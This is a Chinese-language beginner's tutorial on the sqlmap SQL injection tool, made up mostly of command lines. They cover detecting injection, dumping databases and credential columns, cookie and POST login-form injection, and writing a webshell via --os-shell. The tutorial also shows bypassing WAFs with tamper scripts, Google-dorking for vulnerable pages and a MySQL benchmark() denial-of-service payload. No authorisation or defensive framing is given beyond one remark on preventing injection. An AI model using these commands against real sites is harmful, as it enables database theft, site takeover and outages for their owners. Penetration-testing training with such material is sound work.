滲透測試工具sqlmap基礎教程,從入門到精通
本文僅獻給想學習滲透測試的sqlmap小白,大牛請繞過。
對于網(wǎng)絡安全人員來說,掌握滲透工具的使用方法是一項必備的技能。然而,一個沒有師傅帶領的小白在剛開始學習時,并不知道該如何入手進行滲透學習,所以本文旨在幫助這些小白入門。
sqlmap是一款非常強大的開源sql自動化注入工具,可以用來檢測和利用sql注入漏洞。它由python語言開發(fā)而成,因此運行需要安裝python環(huán)境。
既然本文是基礎教程,以下只寫工具的基本使用方法。
本教程為sqlmap具體應用案例,如需了解更多sqlmap資料可以訪問官方http://sqlmap.org ,或者烏云知識庫http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。
- MySQL數(shù)據(jù)庫注入
檢查注入點(主要看是否能返回消息):sqlmap.py -u url
爆所有庫:sqlmap.py -u url -dbs
爆當前庫:sqlmap.py -u url --current-db
2.Access數(shù)據(jù)庫注入
判斷是否是access數(shù)據(jù)庫:url and exists(select id from MSysAccessObjects)
其他數(shù)據(jù)庫判斷語句:
Access: aNd aSc(cHr(97))=97
Access: and exists(select id from MSysAccessObjects)
SQL Server: and exists(select id from sysobjects)
SQL Server: and length(user)>0
MySQL: and length(user())>
access數(shù)據(jù)庫沒有庫的概念,直接爆表sqlmap.py -u "url" --tables
爆列,爆字段,可以在日志里找到
- 指定數(shù)據(jù)庫,操作系統(tǒng)
檢查是否是注入點
爆庫:sqlmap.py -u url --dbms mysql 5.0 --current-db
爆表:sqlmap.py -u url --dbms mysql 5.0 -D cms --tables
爆列:sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_user --columns
爆字段:sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_users -C password ,username --dump
- 請求延時注入
測試注入點:sqlmap.py -u url -p id
sqlmap注入方式techniquesqlmap.py -u url --technique T
B: 基于Boolean的盲注(Boolean based blind)
Q: 內聯(lián)查詢(inlin queries)
T: 基于時間的盲注(time based blind)
U: 聯(lián)合查詢(union query based)
E: 錯誤(error based)
S: 棧查詢(stack queries)
猜數(shù)據(jù)庫sqlmap.py -u url --technique T -time-sec 9 --current-db
其他參數(shù):--delay,--safe-freq
5.常規(guī)偽靜態(tài)注入
偽靜態(tài):主要是為了隱藏傳遞的參數(shù)名,偽靜態(tài)只是一種URL重寫的手段,既然能接受參數(shù)輸入,所以并不能防止注入。目前來看,防止注入的最有效的方法就是使用LINQ。
加星花:sqlmap.py -u "url*.html" --dbs
利用sqlmap注入:sqlmap.py -u "url*.html" --current-db --hex
爆表:sqlmap.py -u "url*.html" -D "cms" --tables –hex
6.cookie注入
burpsuite獲得cookie
sqlmap的cookie注入攻擊:sqlmap.py -u url --cookie “uname=admin" --level 2
爆庫,爆表,爆列,爆字段
7.POST登錄框注入
burpsuite抓包右鍵保存到\Python2\sqlmap中
測試能否注入sqlmap.py -r 1.txt -p user(-r:讓sqlmap加載post請求,-p:指定注入用的參數(shù))
爆庫 sqlmap.py -r 1.txt --current-db
自動搜索表單:sqlmap.py -u url --form
指定一個參數(shù):sqlmap.py -u url --data "name=1&pass=1"
8.交互式寫shell及命令執(zhí)行
測試注入點:sqlmap.py -u url -p id
利用SQLmap寫webshell:sqlmap.py -u url --os-shell 輸入腳本語言,輸入網(wǎng)站絕對路徑
9.繞過WAF防火墻
利用tamper腳本繞過過濾: sqlmap.py -u url --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
10.sqlmap模板使用,編寫
嘗試注入 and 1=1被攔截
利用%0a嘗試繞過,發(fā)現(xiàn)可以
編寫tamper模板,利用sqlmap跑庫(c:\python27\sqlmap\tamper)
利用sqlmap跑庫sqlmap.py -u "url" --dbs --batch --tamper=equaltolike.py, space2mssqlhash.py, randomcase.py, space2hassh.py, base64encode.py, charencode.py
11.利用sqlmap來google搜索
查找頁面:sqlmap.py -g inurl:php?id=
12.sqlmpa進行Mysql DOS攻擊
獲得shell:sqlmap.py -u url --sql-shell
進行攻擊:select benchmark(9999999999,0*70726f63409284209)